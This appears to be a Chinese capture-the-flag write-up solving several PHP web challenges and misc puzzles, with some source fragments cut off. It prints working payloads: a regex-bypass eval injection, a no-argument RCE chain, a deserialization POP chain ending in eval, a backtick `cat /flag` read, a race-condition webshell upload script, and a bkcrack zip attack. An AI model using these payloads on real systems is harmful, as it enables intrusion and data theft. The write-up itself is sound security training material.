源代码
");
if(isset($_POST['command'])){
$command = $_POST['command'];
if(!preg_match("/\~|\`|\@|\#|\\$|\%|\&|\*|\(|\)|\-|\+|\=|\{|\}|\[|\]|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i",$command)){
eval($command);
}
else{
echo("You are Hacker!");
}
}
}
else{
echo("K_e_y is Errors!");
}
简单分析一下,我们要GET传参一个值不为123且需要在首行正则匹配到123
我们可以利用php的解析特性遇到空格会被解析成下划线_
,传递参数名为k e y
要绕过正则匹配,思路是换行解析漏洞
payload
?k e y=123%0a
然后第一步成功后,就是无参RCE
payload
highlight_file(next(array_reverse(scandir(current(localeconv())))));
得到flag
源代码
pop)){
echo "这是一道签到题,不能让新生一直做不出来遭受打击";
}
}
public function game(){
echo "扣1送地狱火";
if ($this->i = "1"){
echo '';
$this->nogame->love();
}
}
public function __clone(){
echo "必须执行";
eval($_POST["cmd"]);
}
}
class A{
public $Aec;
public $girl;
public $boy;
public function __toString()
{
echo "I also want to fall in love";
if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
$this->Aec->game();
}
}
}
class P{
public $MyLover;
public function __call($name, $arguments)
{
echo "有对象我会在这打CTF???看我克隆一个对象!";
if ($name != "game") {
echo "打游戏去,别想着对象了";
$this->MyLover = clone new B;
}
}
}
if ($_GET["A_B_C"]){
$poc=$_GET["A_B_C"];
unserialize($poc);
}
简单分析一下
第一个点是上传参数要运用到php解析特性
我们只需要上传参数为A B C
即可绕过
再来看反序列化,出口是B.__clone()
,往前推就到P.__call()
,因为会执行克隆从而调用。访问不存在的方法去调用_call()
再往前推有两个选择,由于要绕过_call()
中的if语句,我们只能是B.game()
。调用此方法往前推到A.__toString()
,然后往前推是B.__destruct()
。
pop链子
B.__destruct() --> A.__toString() --> B.game() --> P.__call() --> B.__clone()
exp
pop=$b;
$b->Aec=$a;
$b->Aec->nogame=$c;
echo serialize($a);
?>
得到flag
源代码
过滤了括号,那么函数就用不了
这里用反引号绕过,不过注意点是eval函数,把字符串作为PHP代码执行
payload
code=?>=`cat /flag`;
得到flag
打开题目,告诉了我们上传文件的路径
我们尝试随便上传个png图片,发现直接被删了
结合题目名字,考点应该是文件上传之条件竞争
这里我们创建1.php
,写入
');?>
解释:在后台删除我们上传文件的间隙写入shell.php
上传后bp抓包,清除全部payload
设置无限上传,不停发包
开始攻击的同时运行py脚本,用来判断是否访问成功
import requests
url = "http://210.44.151.51:10138/uploads/1.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
我们先开始攻击
然后运行脚本,当出现成功时表示我们成功写入shell.php
然后蚁剑连接得到flag
打开附件,发现有加密,盲猜伪加密
解压后得到图片
用010大概看一下没啥收获
只好用stegsolve打开看看是不是lsb隐写
这里发现有png文件
我们直接save bin保存一下,修改后缀为.png
得到一张非常小的照片
结合题目提示,应该是要提取像素
脚本
from PIL import Image
image = Image.open('123.png') # 替换为你的图片文件路径
width, height = image.size
pixel_data = []
for y in range(height):
for x in range(width):
pixel = image.getpixel((x, y))
pixel_data.append(pixel)
print(pixel_data)
运行结果
这里卡了一下,但是仔细看了下就三个数字不停重复
猜测应该是对应ascii码表
46-.
33-!
63-?
由这三个构成那么就是Ook解码
贴个完整脚本
from PIL import Image
image = Image.open('123.png') # 替换为你的图片文件路径
width, height = image.size
pixel_data = []
for y in range(height):
for x in range(width):
pixel = image.getpixel((x, y))
pixel_data.append(pixel)
count = 0
for i in range(len(pixel_data)):
if(pixel_data[i] == (0,0,0)):
break
for j in pixel_data[i]:
print(chr(j),end = "")
运行结果
丢到在线网站解码
得到flag
打开题目,发现是个被加密的压缩包
试了一下不是伪加密,binwalk也没分析出来
那么考虑深入明文攻击
进行深入明文攻击需要至少12个已知字节。而由于已知压缩包内为png文件,也就知道文件头:
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
所以,我们至少知道了16个准确的字节,超过了12个字节,已经满足深入明文攻击的条件了,(多的已知字节可以加快速度),接下来就使用工具即可。
bkcrack -C flag.zip -c flag.png -p key.txt -o 0
跑了二十来分钟,出了zip的三段内部密码
直接进行解密即可
得到一张图片
010打开,在最下面找到flag